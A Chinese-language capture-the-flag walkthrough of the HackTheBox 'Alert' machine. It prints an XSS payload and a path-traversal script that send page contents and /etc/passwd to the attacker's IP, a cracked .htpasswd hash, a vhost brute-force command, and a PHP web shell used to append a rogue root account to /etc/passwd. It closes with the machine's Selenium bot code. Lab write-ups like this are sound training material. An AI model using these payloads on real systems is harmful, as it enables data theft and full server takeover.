XSRF和某XSS机器人实现-HackTheBox-Alert

Markdown 上传与预览程序,可以生成共享链接

结合说明页面的提示,管理员会检查 contact 的内容然后汇报给开发组,我们可以尝试 XSS

XSS PoC

<script>
    fetch('/index.php?page=alert')
        .then(p => p.text())
        .then(t => fetch('http://10.10.16.43/a?d=' + encodeURIComponent(t)))
</script>

上传,得到链接之后发送给 contact.php,

观察到本地的 http server 的 80 端口立刻被触发

根据回传的信息,在管理员的视角是多了一个 messages 页面,对它进行爬取

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="css/style.css">
    <title>Alert - Markdown Viewer</title>
</head>
<body>
    <nav>
        <a href="index.php?page=alert">Markdown Viewer</a>
        <a href="index.php?page=contact">Contact Us</a>
        <a href="index.php?page=about">About Us</a>
        <a href="index.php?page=donate">Donate</a>
        <a href="index.php?page=messages">Messages</a>    </nav>
    <div class="container">
        <h1>Messages</h1><ul><li><a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt</a></li></ul>
    </div>
    <footer>
        <p style="color: black;">© 2024 Alert. All rights reserved.</p>
    </footer>
</body>
</html>

说明调用这个 api 的方式是 file 参数

使用 XSRF 打路径穿越

不过不知道具体是几个父路径,直接填最多的那个(10 个)

<script>
var fuzz = new Array(
    '/etc/passwd',
    '../etc/passwd',
    '../../etc/passwd',
    '../../../etc/passwd',
    '../../../../etc/passwd',
    '../../../../../etc/passwd',
    '../../../../../../etc/passwd',
    '../../../../../../../etc/passwd',
    '../../../../../../../../etc/passwd',
    '../../../../../../../../../etc/passwd',
    '../../../../../../../../../../etc/passwd'
);
var i = 0;
for (; i < fuzz.length; i++) {
    fetch('messages.php?file=' + fuzz[i])
        .then((r) => {
                if (r.status == 200) {
                    //console.log(r.url);
                    return r.text();
                }
              })
        .then((d) => {
                if (d) {
                    fetch('http://10.10.16.43/a?d=' + encodeURIComponent(d));
                }
              });
}
</script>
albert:x:1000:1000:albert:/home/albert:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
david:x:1001:1002:,,,:/home/david:/bin/bash

尝试读.ssh 下面的私钥,未果

通过 HTTP 返回头,可以知道服务器的版本是 apache 2.4.41

泄漏配置文件:

  • /etc/apache2/apache2.conf
  • /etc/apache2/sites-enabled/000-default.conf
<VirtualHost *:80>
    ServerName statistics.alert.htb

    DocumentRoot /var/www/statistics.alert.htb

    <Directory /var/www/statistics.alert.htb>
        Options FollowSymLinks MultiViews
        AllowOverride All
    </Directory>

    <Directory /var/www/statistics.alert.htb>
        Options Indexes FollowSymLinks MultiViews
        AllowOverride All
        AuthType Basic
        AuthName "Restricted Area"
        AuthUserFile /var/www/statistics.alert.htb/.htpasswd
        Require valid-user
    </Directory>

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

第二个 virtualhost 里面有认证,还是基础认证,根据信息读这个文件

/var/www/statistics.alert.htb/.htpasswd

albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/

hashcat -m 1600 hashes /usr/share/wordlists/rockyou.txt

manchesterunited

登录 ssh,成功


贴一个 virtualhost 的爆破方法(类似 subdomain,但不通过 dns,只是修改 Host 头)

curl -s --path-as-is '10.10.11.44' -H 'Host: alert.htb'
wfuzz -c --hc 301 -z file,/usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u '10.10.11.44' -H 'Host: FUZZ.alert.htb'
=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000001261:   401        14 L     54 W       467 Ch      "statistics"

要注意的是这题是默认开 401 验证的,如果使用 –sc 200 则会碰壁,只需 –hc 301 屏蔽掉跳转的响应就可以了


ps faux

发现一个 root 跑的 php 程序

/usr/bin/php -S 127.0.0.1:8080 -t /opt/website-monitor

进去发现这个目录有组内写权限,而 config 目录的组是 management

恰好:

uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)

用户组里有 management

PoC:

echo '<?php system($_REQUEST["cmd"]);?>' > a.php

curl -v --path-as-is 'http://127.0.0.1:8080/config/a.php?cmd=whoami'

显示 root,验证成功,下面是持久化的 payload

curl -v --path-as-is 'http://127.0.0.1:8080/config/a.php?cmd=echo+%27root2:$1$FmWIOzan$t.1jEEAaYmojCk462RAaK.:0:0::/root:/bin/bash%27+>>+/etc/passw
d'

用 root2:toor 登录即可拿到 system


贴一个这关的 XSS 机器人,基于 selenium

xss_bot.sh

#!/bin/bash

MONITOR_DIR="/var/www/alert.htb/messages"

if [ ! -d "$MONITOR_DIR" ]; then
    echo "The directory $MONITOR_DIR does not exist."
    exit 1
fi

# Monitor the directory for create and delete events
inotifywait -m -e create --format '%w%f %e' "$MONITOR_DIR" --exclude "2024-03-10_15-48-34.txt" | while read fullpath event
do
    filename=$(basename "$fullpath")
    echo "The file $filename has been created."
    sudo -u david /usr/bin/python3 /home/david/admin.py
    echo "$filename restored."
done

/home/david/admin.py

#!/usr/bin/python3
import os
import re
import logging, time
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.chrome.options import Options
from selenium.common.exceptions import TimeoutException, NoSuchElementException, WebDriverException
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC

# Set up logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')

# Constants
DIRECTORY_PATH = "/var/www/alert.htb/messages/"
CHROME_DRIVER_PATH = "/usr/local/bin/chromedriver"
URL_PATTERN = r'http[s]?://\S+'
MESSAGE_PATTERN = r'Message: (.*)$'

# Setup Chrome options
chrome_options = Options()
chrome_options.add_argument("--headless")
chrome_options.add_argument("--no-sandbox")

# Initialize WebDriver
service = Service(CHROME_DRIVER_PATH)

def extract_urls_from_file(file_path):
    """Extracts URLs from a message file."""
    with open(file_path, 'r') as f:
        content = f.read()
        message_match = re.search(MESSAGE_PATTERN, content)
        f.close()
        logging.info(f"Removing {file_path}")
        os.remove(file_path)
        if message_match:
            message_content = message_match.group(1).strip()
            return re.findall(URL_PATTERN, message_content)
    return []

def process_urls(driver, urls):
    """Attempts to load URLs using Selenium and logs success or failure."""
    for url in urls:
        try:
            logging.info(f"Processing URL: {url}")
            driver.get(url)
            WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.TAG_NAME, 'body')))
            time.sleep(3)
            logging.info(f"Successfully loaded URL: {url}")
        except TimeoutException:
            logging.error(f"Timeout while trying to load URL: {url}")
        except NoSuchElementException:
            logging.error(f"Could not find element in URL: {url}")
        except WebDriverException as e:
            logging.error(f"WebDriver error with URL: {url} - {str(e)}")
        except Exception as e:
            logging.error(f"Unknown error while processing URL: {url} - {str(e)}")

def main():
    # Start WebDriver
    try:
        with webdriver.Chrome(service=service, options=chrome_options) as driver:
            driver.set_page_load_timeout(10)

            # Get list of message files
            message_files = (f for f in os.listdir(DIRECTORY_PATH) if f.endswith(".txt"))
            for file in message_files:
                if file != "2024-03-10_15-48-34.txt":
                    file_path = os.path.join(DIRECTORY_PATH, file)
                    logging.info(f"Processing file: {file_path}")

                    # Extract URLs
                    urls = extract_urls_from_file(file_path)

                    if urls:
                        process_urls(driver, urls)
                    else:
                        logging.warning(f"No URLs found in file: {file_path}")

    except Exception as e:
        logging.critical(f"Failed to start WebDriver: {str(e)}")
    finally:
        logging.info("Finished processing all files.")

if __name__ == "__main__":
    main()